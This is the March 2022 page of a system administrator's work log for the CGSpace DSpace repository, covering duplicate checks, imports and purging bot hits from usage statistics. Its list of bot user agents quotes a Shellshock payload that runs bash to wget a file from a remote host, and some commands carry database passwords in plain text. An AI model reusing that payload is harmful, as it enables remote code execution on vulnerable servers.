<!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta property="og:title" content="March, 2022" /> <meta property="og:description" content="2022-03-01 Send Gaia the last batch of potential duplicates for items 701 to 980: $ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv $ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv $ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv $ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv " /> <meta property="og:type" content="article" /> <meta property="og:url" content="https://alanorth.github.io/cgspace-notes/2022-03/" /> <meta property="article:published_time" content="2022-03-01T16:46:54+03:00" /> <meta property="article:modified_time" content="2022-03-16T18:32:01+03:00" /> <meta name="twitter:card" content="summary"/> <meta name="twitter:title" content="March, 2022"/> <meta name="twitter:description" content="2022-03-01 Send Gaia the last batch of potential duplicates for items 701 to 980: $ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv $ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv $ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv $ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv "/> <meta name="generator" content="Hugo 0.95.0" /> <script type="application/ld+json"> { "@context": "http://schema.org", "@type": "BlogPosting", "headline": "March, 2022", "url": "https://alanorth.github.io/cgspace-notes/2022-03/", "wordCount": "684", "datePublished": "2022-03-01T16:46:54+03:00", "dateModified": "2022-03-16T18:32:01+03:00", "author": { "@type": "Person", "name": "Alan Orth" }, "keywords": "Notes" } </script> <link rel="canonical" href="https://alanorth.github.io/cgspace-notes/2022-03/"> <title>March, 2022 | CGSpace Notes</title> <!-- combined, minified CSS --> <link href="https://alanorth.github.io/cgspace-notes/css/style.beb8012edc08ba10be012f079d618dc243812267efe62e11f22fe49618f976a4.css" rel="stylesheet" integrity="sha256-vrgBLtwIuhC+AS8HnWGNwkOBImfv5i4R8i/klhj5dqQ=" crossorigin="anonymous"> <!-- minified Font Awesome for SVG icons --> <script defer src="https://alanorth.github.io/cgspace-notes/js/fontawesome.min.f5072c55a0721857184db93a50561d7dc13975b4de2e19db7f81eb5f3fa57270.js" integrity="sha256-9QcsVaByGFcYTbk6UFYdfcE5dbTeLhnbf4HrXz+lcnA=" crossorigin="anonymous"></script> <!-- RSS 2.0 feed --> </head> <body> <div class="blog-masthead"> <div class="container"> <nav class="nav blog-nav"> <a class="nav-link " href="https://alanorth.github.io/cgspace-notes/">Home</a> </nav> </div> </div> <header class="blog-header"> <div class="container"> <h1 class="blog-title" dir="auto"><a href="https://alanorth.github.io/cgspace-notes/" rel="home">CGSpace Notes</a></h1> <p class="lead blog-description" dir="auto">Documenting day-to-day work on the <a href="https://cgspace.cgiar.org">CGSpace</a> repository.</p> </div> </header> <div class="container"> <div class="row"> <div class="col-sm-8 blog-main"> <article class="blog-post"> <header> <h2 class="blog-post-title" dir="auto"><a href="https://alanorth.github.io/cgspace-notes/2022-03/">March, 2022</a></h2> <p class="blog-post-meta"> <time datetime="2022-03-01T16:46:54+03:00">Tue Mar 01, 2022</time> in <span class="fas fa-folder" aria-hidden="true"></span> <a href="/cgspace-notes/categories/notes/" rel="category tag">Notes</a> </p> </header> <h2 id="2022-03-01">2022-03-01</h2> <ul> <li>Send Gaia the last batch of potential duplicates for items 701 to 980:</li> </ul> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv </span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p <span style="color:#e6db74">'fuuu'</span> -o /tmp/2022-03-01-tac-batch4-701-980.csv </span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv </span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv </span></span></code></pre></div><h2 id="2022-03-04">2022-03-04</h2> <ul> <li>Looking over the CGSpace Solr statistics from 2022-02 <ul> <li>I see a few new bots, though once I expanded my search for user agents with “www” in the name I found so many more!</li> <li>Here are some of the more prevalent or weird ones: <ul> <li>axios/0.21.1</li> <li>Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)</li> <li>Nutraspace/Nutch-1.2 (<a href="https://www.nutraspace.com">www.nutraspace.com</a>)</li> <li>Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; <a href="mailto:webmaster@moreover.com">webmaster@moreover.com</a>)</li> <li>Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com</li> <li>Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)</li> <li>Crowsnest/0.5 (+http://www.crowsnest.tv/)</li> <li>Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com</li> <li>metha/0.2.27</li> <li>ZaloPC-win32-24v454</li> <li>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x</li> <li>ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)</li> <li>FullStoryBot/1.0 (+https://www.fullstory.com)</li> <li>Link Validity Check From: <a href="http://www.usgs.gov">http://www.usgs.gov</a></li> <li>OSPScraper (+https://www.opensyllabusproject.org)</li> <li>() { :;}; /bin/bash -c "wget -O /tmp/bbb <a href="https://www.redel.net.br/1.php?id=3137382e37392e3138372e313832">www.redel.net.br/1.php?id=3137382e37392e3138372e313832</a>"</li> </ul> </li> <li>I submitted <a href="https://github.com/atmire/COUNTER-Robots/pull/52">a pull request to COUNTER-Robots</a> with some of these</li> </ul> </li> <li>I purged a bunch of hits from the stats using the <code>check-spider-hits.sh</code> script:</li> </ul> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p </span></span><span style="display:flex;"><span>Purging 6 hits from scalaj-http in statistics </span></span><span style="display:flex;"><span>Purging 5 hits from lua-resty-http in statistics </span></span><span style="display:flex;"><span>Purging 9 hits from AHC in statistics </span></span><span style="display:flex;"><span>Purging 7 hits from acebookexternalhit in statistics </span></span><span style="display:flex;"><span>Purging 1011 hits from axios\/[0-9] in statistics </span></span><span style="display:flex;"><span>Purging 2216 hits from Faveeo\/[0-9] in statistics </span></span><span style="display:flex;"><span>Purging 1164 hits from Moreover\/[0-9] in statistics </span></span><span style="display:flex;"><span>Purging 740 hits from Exploratodo\/[0-9] in statistics </span></span><span style="display:flex;"><span>Purging 585 hits from GroupHigh\/[0-9] in statistics </span></span><span style="display:flex;"><span>Purging 438 hits from Crowsnest\/[0-9] in statistics </span></span><span style="display:flex;"><span>Purging 1326 hits from nbertaupete95 in statistics </span></span><span style="display:flex;"><span>Purging 182 hits from metha\/[0-9] in statistics </span></span><span style="display:flex;"><span>Purging 68 hits from ZaloPC-win32-24v454 in statistics </span></span><span style="display:flex;"><span>Purging 1644 hits from Firefox\/x\.x in statistics </span></span><span style="display:flex;"><span>Purging 678 hits from ZoteroTranslationServer in statistics </span></span><span style="display:flex;"><span>Purging 27 hits from FullStoryBot in statistics </span></span><span style="display:flex;"><span>Purging 26 hits from Link Validity Check in statistics </span></span><span style="display:flex;"><span>Purging 26 hits from OSPScraper in statistics </span></span><span style="display:flex;"><span>Purging 1 hits from 3137382e37392e3138372e313832 in statistics </span></span><span style="display:flex;"><span>Purging 2755 hits from Nutch-[0-9] in statistics </span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"> </span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Total number of bot hits purged: 12914 </span></span></code></pre></div><ul> <li>I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project</li> </ul> <h2 id="2022-03-05">2022-03-05</h2> <ul> <li>Start AReS harvest</li> </ul> <h2 id="2022-03-10">2022-03-10</h2> <ul> <li>A few days ago Gaia sent me her notes on the fourth batch of TAC/ICW documents (items 701–980 in the spreadsheet) <ul> <li>I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:</li> </ul> </li> </ul> <pre tabindex="0"><code>or( isNotNull(value.match('707')), isNotNull(value.match('709')), isNotNull(value.match('710')), isNotNull(value.match('711')), isNotNull(value.match('713')), isNotNull(value.match('717')), isNotNull(value.match('718')), ... isNotNull(value.match('821')) ) </code></pre><ul> <li>Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported them on DSpace Test:</li> </ul> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Xmx1024m -Dfile.encoding=UTF-8"</span> dspace import --add --eperson<span style="color:#f92672">=</span>fuu@ummm.com --source /tmp/SimpleArchiveFormat --mapfile<span style="color:#f92672">=</span>./2022-03-10-tac-batch4-701to980.map </span></span></code></pre></div><h2 id="2022-03-12">2022-03-12</h2> <ul> <li>Update all containers and rebuild OpenRXV on linode20:</li> </ul> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ docker images | grep -v ^REPO | sed <span style="color:#e6db74">'s/ \+/:/g'</span> | cut -d: -f1,2 | xargs -L1 docker pull </span></span><span style="display:flex;"><span>$ docker-compose build </span></span></code></pre></div><ul> <li>Then run all system updates and reboot</li> <li>Start a full harvest on AReS</li> </ul> <h2 id="2022-03-16">2022-03-16</h2> <ul> <li>Meeting with KM/KS group to start talking about the way forward for repositories and web publishing <ul> <li>We agreed to form a sub-group of the transition task team to put forward a recommendation for repository and web publishing</li> </ul> </li> </ul> <h2 id="2022-03-20">2022-03-20</h2> <ul> <li>Start a full harvest on AReS</li> </ul> <h2 id="2022-03-21">2022-03-21</h2> <ul> <li>Review a few submissions for Open Repositories 2022</li> <li>Test one tentative DSpace 6.4 patch and give feedback on a few more that Hrafn missed</li> </ul> <h2 id="2022-03-22">2022-03-22</h2> <ul> <li>I accidentally dropped the PostgreSQL database on DSpace Test, forgetting that I had all the CGIAR CAS items there <ul> <li>I had been meaning to update my local database…</li> </ul> </li> <li>I re-imported the CGIAR CAS documents to <a href="https://dspacetest.cgiar.org/handle/10568/118432">DSpace Test</a> and generated the PDF thumbnails:</li> </ul> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Xmx1024m -Dfile.encoding=UTF-8"</span> dspace import --add --eperson<span style="color:#f92672">=</span>fuu@ma.com --source /tmp/SimpleArchiveFormat --mapfile<span style="color:#f92672">=</span>./2022-03-22-tac-700.map </span></span><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Xmx1024m -Dfile.encoding=UTF-8"</span> dspace filter-media -p <span style="color:#e6db74">"ImageMagick PDF Thumbnail"</span> -i 10568/118432 </span></span></code></pre></div><ul> <li>On my local environment I decided to run the <code>check-duplicates.py</code> script one more time with all 700 items:</li> </ul> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/TAC_ICW_GreenCovers/2022-03-22-tac-700.csv > /tmp/tac.csv </span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac.csv -db dspacetest -u dspacetest -p <span style="color:#e6db74">'dom@in34sniper'</span> -o /tmp/2022-03-22-tac-duplicates.csv </span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-01-21-CGSpace-TAC-ICW.csv > /tmp/tac-filenames.csv </span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-22-tac-duplicates.csv /tmp/tac-filenames.csv > /tmp/tac-final-duplicates.csv </span></span></code></pre></div><ul> <li>I sent the resulting 76 items to Gaia to check</li> </ul> <!-- raw HTML omitted --> </article> </div> <!-- /.blog-main --> <aside class="col-sm-3 ml-auto blog-sidebar"> <section class="sidebar-module"> <h4>Recent Posts</h4> <ol class="list-unstyled"> <li><a href="/cgspace-notes/2022-03/">March, 2022</a></li> <li><a href="/cgspace-notes/2022-02/">February, 2022</a></li> <li><a href="/cgspace-notes/2022-01/">January, 2022</a></li> <li><a href="/cgspace-notes/2021-12/">December, 2021</a></li> <li><a href="/cgspace-notes/2021-11/">November, 2021</a></li> </ol> </section> <section class="sidebar-module"> <h4>Links</h4> <ol class="list-unstyled"> <li><a href="https://cgspace.cgiar.org">CGSpace</a></li> <li><a href="https://dspacetest.cgiar.org">DSpace Test</a></li> <li><a href="https://github.com/ilri/DSpace">CGSpace @ GitHub</a></li> </ol> </section> </aside> </div> <!-- /.row --> </div> <!-- /.container --> <footer class="blog-footer"> <p dir="auto"> Blog template created by <a href="https://twitter.com/mdo">@mdo</a>, ported to Hugo by <a href='https://twitter.com/mralanorth'>@mralanorth</a>. </p> <p> <a href="#">Back to top</a> </p> </footer> </body> </html>